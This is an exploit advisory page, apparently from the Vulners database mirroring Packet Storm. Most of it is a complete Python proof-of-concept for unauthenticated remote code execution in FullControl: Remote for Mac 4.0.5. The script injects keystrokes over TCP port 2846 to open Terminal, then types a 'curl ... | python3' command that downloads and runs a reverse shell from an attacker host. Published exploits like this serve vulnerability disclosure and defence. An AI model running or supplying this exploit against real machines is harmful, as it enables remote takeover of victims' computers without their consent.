Lucene search
K

📄 FullControl: Remote for Mac 4.0.5 Remote Code Execution

🗓️ 25 Jul 2025 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 123 Views

FullControl for Mac version 4.0.5 permits unauthenticated remote code execution over TCP port 2846.

Code
# Exploit Title: FullControl: Remote for Mac 4.0.5 - Remote Code Execution
    # Date: 25/07/2025
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://fullcontrol.cescobaz.com/
    # Software Link:
    https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890
    # Version: 4.0.5
    # Tested on: macOS 14.4 Sonoma
    
    
    '''
    Description:
    
    "FullControl: Remote for Mac" v4.0.5 for macOS is vulnerable to
    unauthenticated Remote Code Execution (RCE) via TCP port 2846. An attacker
    on the same network can inject simulated keyboard input, allowing arbitrary
    command execution without user interaction or authentication.
    
    '''
    
    import socket
    import time
    
    
    HOST = '192.168.8.101'
    PORT = 2846
    LHOST = '192.168.8.100'
    DEBUG = False
    
    packets_to_send = [
    '<request type="info">accessibilityAPIEnabled</request>',
        '<request type="info">protocol</request>',
        '<request type="info">API_level</request>',
        '<request type="info">fc</request>',
        '<request type="info">os</request>',
        '<info subject="protocol">json2</info>',
        '<request type="info">rsion</request>',
        '<request type="info">fc</request>',
        '<request type="info">os</request>',
        '<request type="info">device</request>',
        '<info subject="app">FullControl</info>',
        '<info subject="version">4.2.0</info>',
        '<info subject="fc">4.2.0</info>',
        '<info subject="os">26.0</info>',
        '<info subject="device">Attacker</info>',
    ]
    
    
    open_terminal_payloads = [
    
    
     '{"Class":"Command","Id":17,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"#4
    space"}',
    
     '{"Class":"Command","Id":18,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"t"}',
    
     '{"Class":"Command","Id":19,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"e"}',
    
     '{"Class":"Command","Id":20,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"r"}',
    
     '{"Class":"Command","Id":21,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"m"}',
    
     '{"Class":"Command","Id":22,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"i"}',
    
     '{"Class":"Command","Id":23,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"n"}',
    
     '{"Class":"Command","Id":24,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"a"}',
    
     '{"Class":"Command","Id":25,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"l"}',
    
     '{"Class":"Command","Id":26,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"return"}',
    
    ]
    
    
    reverse_shell = f'curl http://{LHOST}/shell.py | python3'
    
    
    
    reverse_shell_payloads = []
    for c in reverse_shell:
        if c == " ":
            instr = "space"
        elif c == "\n":
            instr = "return"
        else:
            instr = c
        reverse_shell_payloads.append(
    
    
     f'{{"Class":"Command","Id":18,"Process":{{"Class":"Process","Pid":-1,"InFocus":0}},"Type":"keyboard","Instruction":"{instr}"}}'
        )
    
    
    reverse_shell_payloads.append(
    
    
    '{"Class":"Command","Id":19,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"return"}'
    )
    
    def send_packets(sock, packets, delay=0.01):
        for i, pkt in enumerate(packets):
            if DEBUG:
                print(f"[>] Sending: {pkt}")
            sock.sendall(pkt.encode())
    
    
            if i == 0:
                time.sleep(1.0)
            else:
                time.sleep(delay)
    
            try:
                response = sock.recv(4096)
                if response:
                    if DEBUG:
                        print(f"[<] Received:
    {response.decode(errors='ignore')}")
    
            except socket.timeout:
                continue
    
    
    def main():
        with socket.create_connection((HOST, PORT)) as sock:
            sock.settimeout(1.0)
    
            print("[*] Sending negotiation packets...")
            send_packets(sock, packets_to_send)
    
            time.sleep(2)
    
            print("[*] Opening Terminal via Spotlight...")
            send_packets(sock, open_terminal_payloads, 0.5)
            time.sleep(2)
    
            print("[*] Sending reverse shell payload...")
            send_packets(sock, reverse_shell_payloads, 0.01)
    
            print("[+] Reverse shell triggered. Check your listener.")
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jul 2025 00:00Current
8.6High risk
Vulners AI Score8.6
123